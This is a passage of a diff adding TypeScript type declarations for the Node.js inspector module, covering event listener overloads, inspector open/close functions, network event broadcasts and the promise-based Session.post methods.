Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + on(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + on(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + on(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + on(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + on(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + on(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + on(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + once(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + once(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + once(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + once(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + once(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + once(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + once(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + once(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + once(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + once(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + once(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + once(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + once(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + once(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + once(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + once(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + once(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + once(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + once(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + once(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + once(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + once(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + once(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + once(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + once(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + once(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + once(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + once(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + once(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + once(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + once(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + once(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + prependListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + prependListener(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + prependListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + prependListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + prependListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + prependListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + prependListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + prependListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + prependListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + prependListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + prependListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + prependListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + prependListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + prependListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + prependListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + prependListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + prependListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + prependListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + prependListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + prependListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + prependListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + prependListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + prependListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + prependListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + prependListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + prependListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + prependListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + prependListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + prependOnceListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + prependOnceListener(event: 'Runtime.executionContextCreated', listener: (message: InspectorNotification) => void): this; + /** + * Issued when execution context is destroyed. + */ + prependOnceListener(event: 'Runtime.executionContextDestroyed', listener: (message: InspectorNotification) => void): this; + /** + * Issued when all executionContexts were cleared in browser + */ + prependOnceListener(event: 'Runtime.executionContextsCleared', listener: () => void): this; + /** + * Issued when exception was thrown and unhandled. + */ + prependOnceListener(event: 'Runtime.exceptionThrown', listener: (message: InspectorNotification) => void): this; + /** + * Issued when unhandled exception was revoked. + */ + prependOnceListener(event: 'Runtime.exceptionRevoked', listener: (message: InspectorNotification) => void): this; + /** + * Issued when console API was called. + */ + prependOnceListener(event: 'Runtime.consoleAPICalled', listener: (message: InspectorNotification) => void): this; + /** + * Issued when object should be inspected (for example, as a result of inspect() command line API call). + */ + prependOnceListener(event: 'Runtime.inspectRequested', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine parses script. This event is also fired for all known and uncollected scripts upon enabling debugger. + */ + prependOnceListener(event: 'Debugger.scriptParsed', listener: (message: InspectorNotification) => void): this; + /** + * Fired when virtual machine fails to parse the script. + */ + prependOnceListener(event: 'Debugger.scriptFailedToParse', listener: (message: InspectorNotification) => void): this; + /** + * Fired when breakpoint is resolved to an actual script and location. + */ + prependOnceListener(event: 'Debugger.breakpointResolved', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine stopped on breakpoint or exception or any other stop criteria. + */ + prependOnceListener(event: 'Debugger.paused', listener: (message: InspectorNotification) => void): this; + /** + * Fired when the virtual machine resumed execution. + */ + prependOnceListener(event: 'Debugger.resumed', listener: () => void): this; + /** + * Issued when new console message is added. + */ + prependOnceListener(event: 'Console.messageAdded', listener: (message: InspectorNotification) => void): this; + /** + * Sent when new profile recording is started using console.profile() call. + */ + prependOnceListener(event: 'Profiler.consoleProfileStarted', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Profiler.consoleProfileFinished', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'HeapProfiler.addHeapSnapshotChunk', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'HeapProfiler.resetProfiles', listener: () => void): this; + prependOnceListener(event: 'HeapProfiler.reportHeapSnapshotProgress', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend regularly sends a current value for last seen object id and corresponding timestamp. If the were changes in the heap since last event then one or more heapStatsUpdate events will be sent before a new lastSeenObjectId event. + */ + prependOnceListener(event: 'HeapProfiler.lastSeenObjectId', listener: (message: InspectorNotification) => void): this; + /** + * If heap objects tracking has been started then backend may send update for one or more fragments + */ + prependOnceListener(event: 'HeapProfiler.heapStatsUpdate', listener: (message: InspectorNotification) => void): this; + /** + * Contains an bucket of collected trace events. + */ + prependOnceListener(event: 'NodeTracing.dataCollected', listener: (message: InspectorNotification) => void): this; + /** + * Signals that tracing is stopped and there is no trace buffers pending flush, all data were + * delivered via dataCollected events. + */ + prependOnceListener(event: 'NodeTracing.tracingComplete', listener: () => void): this; + /** + * Issued when attached to a worker. + */ + prependOnceListener(event: 'NodeWorker.attachedToWorker', listener: (message: InspectorNotification) => void): this; + /** + * Issued when detached from the worker. + */ + prependOnceListener(event: 'NodeWorker.detachedFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Notifies about a new protocol message received from the session + * (session ID is provided in attachedToWorker notification). + */ + prependOnceListener(event: 'NodeWorker.receivedMessageFromWorker', listener: (message: InspectorNotification) => void): this; + /** + * Fired when page is about to send HTTP request. + */ + prependOnceListener(event: 'Network.requestWillBeSent', listener: (message: InspectorNotification) => void): this; + /** + * Fired when HTTP response is available. + */ + prependOnceListener(event: 'Network.responseReceived', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Network.loadingFailed', listener: (message: InspectorNotification) => void): this; + prependOnceListener(event: 'Network.loadingFinished', listener: (message: InspectorNotification) => void): this; + /** + * This event is fired instead of `Runtime.executionContextDestroyed` when + * enabled. + * It is fired when the Node process finished all code execution and is + * waiting for all frontends to disconnect. + */ + prependOnceListener(event: 'NodeRuntime.waitingForDisconnect', listener: () => void): this; + /** + * This event is fired when the runtime is waiting for the debugger. For + * example, when inspector.waitingForDebugger is called + */ + prependOnceListener(event: 'NodeRuntime.waitingForDebugger', listener: () => void): this; + } + + /** + * Activate inspector on host and port. Equivalent to `node --inspect=[[host:]port]`, but can be done programmatically after node has + * started. + * + * If wait is `true`, will block until a client has connected to the inspect port + * and flow control has been passed to the debugger client. + * + * See the [security warning](https://nodejs.org/docs/latest-v22.x/api/cli.html#warning-binding-inspector-to-a-public-ipport-combination-is-insecure) + * regarding the `host` parameter usage. + * @param port Port to listen on for inspector connections. Defaults to what was specified on the CLI. + * @param host Host to listen on for inspector connections. Defaults to what was specified on the CLI. + * @param wait Block until a client has connected. Defaults to what was specified on the CLI. + * @returns Disposable that calls `inspector.close()`. + */ + function open(port?: number, host?: string, wait?: boolean): Disposable; + + /** + * Deactivate the inspector. Blocks until there are no active connections. + */ + function close(): void; + + /** + * Return the URL of the active inspector, or `undefined` if there is none. + * + * ```console + * $ node --inspect -p 'inspector.url()' + * Debugger listening on ws://127.0.0.1:9229/166e272e-7a30-4d09-97ce-f1c012b43c34 + * For help, see: https://nodejs.org/en/docs/inspector + * ws://127.0.0.1:9229/166e272e-7a30-4d09-97ce-f1c012b43c34 + * + * $ node --inspect=localhost:3000 -p 'inspector.url()' + * Debugger listening on ws://localhost:3000/51cf8d0e-3c36-4c59-8efd-54519839e56a + * For help, see: https://nodejs.org/en/docs/inspector + * ws://localhost:3000/51cf8d0e-3c36-4c59-8efd-54519839e56a + * + * $ node -p 'inspector.url()' + * undefined + * ``` + */ + function url(): string | undefined; + + /** + * Blocks until a client (existing or connected later) has sent `Runtime.runIfWaitingForDebugger` command. + * + * An exception will be thrown if there is no active inspector. + * @since v12.7.0 + */ + function waitForDebugger(): void; + + // These methods are exposed by the V8 inspector console API (inspector/v8-console.h). + // The method signatures differ from those of the Node.js console, and are deliberately + // typed permissively. + interface InspectorConsole { + debug(...data: any[]): void; + error(...data: any[]): void; + info(...data: any[]): void; + log(...data: any[]): void; + warn(...data: any[]): void; + dir(...data: any[]): void; + dirxml(...data: any[]): void; + table(...data: any[]): void; + trace(...data: any[]): void; + group(...data: any[]): void; + groupCollapsed(...data: any[]): void; + groupEnd(...data: any[]): void; + clear(...data: any[]): void; + count(label?: any): void; + countReset(label?: any): void; + assert(value?: any, ...data: any[]): void; + profile(label?: any): void; + profileEnd(label?: any): void; + time(label?: any): void; + timeLog(label?: any): void; + timeStamp(label?: any): void; + } + + /** + * An object to send messages to the remote inspector console. + * @since v11.0.0 + */ + const console: InspectorConsole; + + // DevTools protocol event broadcast methods + namespace Network { + /** + * This feature is only available with the `--experimental-network-inspection` flag enabled. + * + * Broadcasts the `Network.requestWillBeSent` event to connected frontends. This event indicates that + * the application is about to send an HTTP request. + * @since v22.6.0 + * @experimental + */ + function requestWillBeSent(params: RequestWillBeSentEventDataType): void; + /** + * This feature is only available with the `--experimental-network-inspection` flag enabled. + * + * Broadcasts the `Network.responseReceived` event to connected frontends. This event indicates that + * HTTP response is available. + * @since v22.6.0 + * @experimental + */ + function responseReceived(params: ResponseReceivedEventDataType): void; + /** + * This feature is only available with the `--experimental-network-inspection` flag enabled. + * + * Broadcasts the `Network.loadingFinished` event to connected frontends. This event indicates that + * HTTP request has finished loading. + * @since v22.6.0 + * @experimental + */ + function loadingFinished(params: LoadingFinishedEventDataType): void; + /** + * This feature is only available with the `--experimental-network-inspection` flag enabled. + * + * Broadcasts the `Network.loadingFailed` event to connected frontends. This event indicates that + * HTTP request has failed to load. + * @since v22.7.0 + * @experimental + */ + function loadingFailed(params: LoadingFailedEventDataType): void; + } +} + +/** + * The `node:inspector` module provides an API for interacting with the V8 + * inspector. + */ +declare module 'node:inspector' { + export * from 'inspector'; +} + +/** + * The `node:inspector/promises` module provides an API for interacting with the V8 + * inspector. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/inspector/promises.js) + * @since v19.0.0 + */ +declare module 'inspector/promises' { + import EventEmitter = require('node:events'); + import { + open, + close, + url, + waitForDebugger, + console, + InspectorNotification, + Schema, + Runtime, + Debugger, + Console, + Profiler, + HeapProfiler, + NodeTracing, + NodeWorker, + Network, + NodeRuntime, + } from 'inspector'; + + /** + * The `inspector.Session` is used for dispatching messages to the V8 inspector + * back-end and receiving message responses and notifications. + * @since v19.0.0 + */ + class Session extends EventEmitter { + /** + * Create a new instance of the `inspector.Session` class. + * The inspector session needs to be connected through `session.connect()` before the messages can be dispatched to the inspector backend. + */ + constructor(); + + /** + * Connects a session to the inspector back-end. + */ + connect(): void; + + /** + * Connects a session to the inspector back-end. + * An exception will be thrown if this API was not called on a Worker thread. + */ + connectToMainThread(): void; + + /** + * Immediately close the session. All pending message callbacks will be called with an error. + * `session.connect()` will need to be called to be able to send messages again. + * Reconnected session will lose all inspector state, such as enabled agents or configured breakpoints. + */ + disconnect(): void; + + /** + * Posts a message to the inspector back-end. + * + * ```js + * import { Session } from 'node:inspector/promises'; + * try { + * const session = new Session(); + * session.connect(); + * const result = await session.post('Runtime.evaluate', { expression: '2 + 2' }); + * console.log(result); + * } catch (error) { + * console.error(error); + * } + * // Output: { result: { type: 'number', value: 4, description: '4' } } + * ``` + * + * The latest version of the V8 inspector protocol is published on the + * [Chrome DevTools Protocol Viewer](https://chromedevtools.github.io/devtools-protocol/v8/). + * + * Node.js inspector supports all the Chrome DevTools Protocol domains declared + * by V8. Chrome DevTools Protocol domain provides an interface for interacting + * with one of the runtime agents used to inspect the application state and listen + * to the run-time events. + */ + post(method: string, params?: object): Promise; + /** + * Returns supported domains. + */ + post(method: 'Schema.getDomains'): Promise; + /** + * Evaluates expression on global object. + */ + post(method: 'Runtime.evaluate', params?: Runtime.EvaluateParameterType): Promise; + /** + * Add handler to promise with given promise object id. + */ + post(method: 'Runtime.awaitPromise', params?: Runtime.AwaitPromiseParameterType): Promise; + /** + * Calls function with given declaration on the given object. Object group of the result is inherited from the target object. + */ + post(method: 'Runtime.callFunctionOn', params?: Runtime.CallFunctionOnParameterType): Promise; + /** + * Returns properties of a given object. Object group of the result is inherited from the target object. + */ + post(method: 'Runtime.getProperties', params?: Runtime.GetPropertiesParameterType): Promise; + /** + * Releases remote object with given id. + */ + post(method: 'Runtime.releaseObject', params?: Runtime.ReleaseObjectParameterType): Promise; + /** + * Releases all remote objects that belong to a given group. + */ + post(method: 'Runtime.releaseObjectGroup', params?: Runtime.ReleaseObjectGroupParameterType): Promise; + /** + * Tells inspected instance to run if it was waiting for debugger to attach. + */ + post(method: 'Runtime.runIfWaitingForDebugger'): Promise; + /** + * Enables reporting of execution contexts creation by means of executionContextCreated event. When the reporting gets enabled the event will be sent immediately for each existing execution context. + */ + post(method: 'Runtime.enable'): Promise; + /** + * Disables reporting of execution contexts creation. + */ + post(method: 'Runtime.disable'): Promise; + /** + * Discards collected exceptions and console API calls. + */ + post(method: 'Runtime.discardConsoleEntries'): Promise; + /** + * @experimental + */ + post(method: 'Runtime.setCustomObjectFormatterEnabled', params?: Runtime.SetCustomObjectFormatterEnabledParameterType): Promise; + /** + * Compiles expression. + */ + post(method: 'Runtime.compileScript', params?: Runtime.CompileScriptParameterType): Promise; + /** + * Runs script with given id in a given context. + */ + post(method: 'Runtime.runScript', params?: Runtime.RunScriptParameterType): Promise; + post(method: 'Runtime.queryObjects', params?: Runtime.QueryObjectsParameterType): Promise; + /** + * Returns all let, const and class variables from global scope. + */ + post(method: 'Runtime.globalLexicalScopeNames', params?: Runtime.GlobalLexicalScopeNamesParameterType): Promise; + /** + * Enables debugger for the given page. Clients should not assume that the debugging has been enabled until the result for this command is received. + */ + post(method: 'Debugger.enable'): Promise; + /** + * Disables debugger for given page. + */ + post(method: 'Debugger.disable'): Promise; + /** + * Activates / deactivates all breakpoints on the page. + */ + post(method: 'Debugger.setBreakpointsActive', params?: Debugger.SetBreakpointsActiveParameterType): Promise; + /** + * Makes page not interrupt on any pauses (breakpoint, exception, dom exception etc). + */ + post(method: 'Debugger.setSkipAllPauses', params?: Debugger.SetSkipAllPausesParameterType): Promise; + /** + * Sets JavaScript breakpoint at given location specified either by URL or URL regex. Once this command is issued, all existing parsed scripts will have breakpoints resolved and returned in locations property. Further matching script parsing will result in subsequent breakpointResolved events issued. This logical breakpoint will survive page reloads. + */ + post(method: 'Debugger.setBreakpointByUrl', params?: Debugger.SetBreakpointByUrlParameterType): Promise; + /** + * Sets JavaScript breakpoint at a given location. + */ + post(method: 'Debugger.setBreakpoint', params?: Debugger.SetBreakpointParameterType): Promise; + /** + * Removes JavaScript breakpoint. + */ + post(method: 'Debugger.removeBreakpoint', params?: Debugger.RemoveBreakpointParameterType): Promise; + /** + * Returns possible locations for breakpoint. scriptId in start and end range locations should be the same. + */ + post(method: 'Debugger.getPossibleBreakpoints', params?: Debugger.GetPossibleBreakpointsParameterType): Promise; + /** + * Continues execution until specific location is reached. + */ + post(method: 'Debugger.continueToLocation', params?: Debugger.ContinueToLocationParameterType): Promise; + /** + * @experimental + */ + post(method: 'Debugger.pauseOnAsyncCall', params?: Debugger.PauseOnAsyncCallParameterType): Promise; + /** + * Steps over the statement. + */ + post(method: 'Debugger.stepOver'): Promise; + /** + * Steps into the function call. + */ + post(method: 'Debugger.stepInto', params?: Debugger.StepIntoParameterType): Promise; + /** + * Steps out of the function call. + */ + post(method: 'Debugger.stepOut'): Promise; + /** + * Stops on the next JavaScript statement. + */ + post(method: 'Debugger.pause'): Promise; + /** + * This method is deprecated - use Debugger.stepInto with breakOnAsyncCall and Debugger.pauseOnAsyncTask instead. Steps into next scheduled async task if any is scheduled before next pause. Returns success when async task is actually scheduled, returns error if no task were scheduled or another scheduleStepIntoAsync was called. + * @experimental + */ + post(method: 'Debugger.scheduleStepIntoAsync'): Promise; + /** + * Resumes JavaScript execution. + */ + post(method: 'Debugger.resume'): Promise; + /** + * Returns stack trace with given stackTraceId. + * @experimental + */ + post(method: 'Debugger.getStackTrace', params?: Debugger.GetStackTraceParameterType): Promise; + /** + * Searches for given string in script content. + */ + post(method: 'Debugger.searchInContent', params?: Debugger.SearchInContentParameterType): Promise; + /** + * Edits JavaScript source live. + */ + post(method: 'Debugger.setScriptSource', params?: Debugger.SetScriptSourceParameterType): Promise; + /** + * Restarts particular call frame from the beginning. + */ + post(method: 'Debugger.restartFrame', params?: Debugger.RestartFrameParameterType): Promise; + /** + * Returns source for the script with given id. + */ + post(method: 'Debugger.getScriptSource', params?: Debugger.GetScriptSourceParameterType): Promise; + /** + * Defines pause on exceptions state. Can be set to stop on all exceptions, uncaught exceptions or no exceptions. Initial pause on exceptions state is none. + */ + post(method: 'Debugger.setPauseOnExceptions', params?: Debugger.SetPauseOnExceptionsParameterType): Promise; + /** + * Evaluates expression on a given call frame. + */ + post(method: 'Debugger.evaluateOnCallFrame', params?: Debugger.EvaluateOnCallFrameParameterType): Promise; + /** + * Changes value of variable in a callframe. Object-based scopes are not supported and must be mutated manually. + */ + post(method: 'Debugger.setVariableValue', params?: Debugger.SetVariableValueParameterType): Promise; + /** + * Changes return value in top frame. Available only at return break position. + * @experimental + */ + post(method: 'Debugger.setReturnValue', params?: Debugger.SetReturnValueParameterType): Promise; + /** + * Enables or disables async call stacks tracking. + */ + post(method: 'Debugger.setAsyncCallStackDepth', params?: Debugger.SetAsyncCallStackDepthParameterType): Promise; + /** + * Replace previous blackbox patterns with passed ones. Forces backend to skip stepping/pausing in scripts with url matching one of the patterns. VM will try to leave blackboxed script by performing 'step in' several times, finally resorting to 'step out' if unsuccessful. + * @experimental + */ + post(method: 'Debugger.setBlackboxPatterns', params?: Debugger.SetBlackboxPatternsParameterType): Promise; + /** + * Makes backend skip steps in the script in blackboxed ranges. VM will try leave blacklisted scripts by performing 'step in' several times, finally resorting to 'step out' if unsuccessful. Positions array contains positions where blackbox state is changed. First interval isn't blackboxed. Array should be sorted. + * @experimental + */ + post(method: 'Debugger.setBlackboxedRanges', params?: Debugger.SetBlackboxedRangesParameterType): Promise; + /** + * Enables console domain, sends the messages collected so far to the client by means of the messageAdded notification. + */ + post(method: 'Console.enable'): Promise; + /** + * Disables console domain, prevents further console messages from being reported to the client. + */ + post(method: 'Console.disable'): Promise; + /** + * Does nothing. + */ + post(method: 'Console.clearMessages'): Promise; + post(method: 'Profiler.enable'): Promise; + post(method: 'Profiler.disable'): Promise; + /** + * Changes CPU profiler sampling interval. Must be called before CPU profiles recording started. + */ + post(method: 'Profiler.setSamplingInterval', params?: Profiler.SetSamplingIntervalParameterType): Promise; + post(method: 'Profiler.start'): Promise; + post(method: 'Profiler.stop'): Promise; + /** + * Enable precise code coverage. Coverage data for JavaScript executed before enabling precise code coverage may be incomplete. Enabling prevents running optimized code and resets execution counters. + */ + post(method: 'Profiler.startPreciseCoverage', params?: Profiler.StartPreciseCoverageParameterType): Promise; + /** + * Disable precise code coverage. Disabling releases unnecessary execution count records and allows executing optimized code. + */ + post(method: 'Profiler.stopPreciseCoverage'): Promise; + /** + * Collect coverage data for the current isolate, and resets execution counters. Precise code coverage needs to have started. + */ + post(method: 'Profiler.takePreciseCoverage'): Promise; + /** + * Collect coverage data for the current isolate. The coverage data may be incomplete due to garbage collection. + */ + post(method: 'Profiler.getBestEffortCoverage'): Promise; + post(method: 'HeapProfiler.enable'): Promise; + post(method: 'HeapProfiler.disable'): Promise; + post(method: 'HeapProfiler.startTrackingHeapObjects', params?: HeapProfiler.StartTrackingHeapObjectsParameterType): Promise; + post(method: 'HeapProfiler.stopTrackingHeapObjects', params?: HeapProfiler.StopTrackingHeapObjectsParameterType): Promise; + post(method: 'HeapProfiler.takeHeapSnapshot', params?: HeapProfiler.TakeHeapSnapshotParameterType): Promise; + post(method: 'HeapProfiler.collectGarbage'): Promise; + post(method: 'HeapProfiler.getObjectByHeapObjectId', params?: HeapProfiler.GetObjectByHeapObjectIdParameterType): Promise; + /** + * Enables console to refer to the node with given id via $x (see Command Line API for more details $x functions). + */ + post(method: 'HeapProfiler.addInspectedHeapObject', params?: HeapProfiler.AddInspectedHeapObjectParameterType): Promise; + post(method: 'HeapProfiler.getHeapObjectId', params?: HeapProfiler.GetHeapObjectIdParameterType): Promise; + post(method: 'HeapProfiler.startSampling', params?: HeapProfiler.StartSamplingParameterType): Promise; + post(method: 'HeapProfiler.stopSampling'): Promise; + post(method: 'HeapProfiler.getSamplingProfile'): Promise; + /** + * Gets supported tracing categories. + */ + post(method: 'NodeTracing.getCategories'): Promise; + /** + * Start trace events collection. + */ + post(method: 'NodeTracing.start', params?: NodeTracing.StartParameterType): Promise; + /** + * Stop trace events collection. Remaining collected events will be sent as a sequence of + * dataCollected events followed by tracingComplete event. + */ + post(method: 'NodeTracing.stop'): Promise; + /** + * Sends protocol message over session with given id. + */ + post(method: 'NodeWorker.sendMessageToWorker', params?: NodeWorker.SendMessageToWorkerParameterType): Promise; + /** + * Instructs the inspector to attach to running workers. Will also attach to new workers + * as they start + */ + post(method: 'NodeWorker.enable', params?: NodeWorker.EnableParameterType): Promise; + /** + * Detaches from all running workers and disables attaching to new workers as they are started. + */ + post(method: 'NodeWorker.disable'): Promise; + /** + * Detached from the worker with given sessionId. + */ + post(method: 'NodeWorker.detach', params?: NodeWorker.DetachParameterType): Promise; + /** + * Disables network tracking, prevents network events from being sent to the client. + */ + post(method: 'Network.disable'): Promise; + /** + * Enables network tracking, network events will now be delivered to the client. + */ + post(method: 'Network.enable'): Promise; + /** + * Enable the NodeRuntime events except by `NodeRuntime.waitingForDisconnect`. + */ + post(method: 'NodeRuntime.enable'): Promise; + /** + * Disable NodeRuntime events + */ + post(method: 'NodeRuntime.disable'): Promise; + /** + * Enable the `NodeRuntime.waitingForDisconnect`. + */ + post(method: 'NodeRuntime.notifyWhenWaitingForDisconnect', params?: NodeRuntime.NotifyWhenWaitingForDisconnectParameterType): Promise; + + addListener(event: string, listener: (...args: any[]) => void): this; + /** + * Emitted when any notification from the V8 Inspector is received. + */ + addListener(event: 'inspectorNotification', listener: (message: InspectorNotification) => void): this; + /** + * Issued when new execution context is created. + */ + addListener(event: 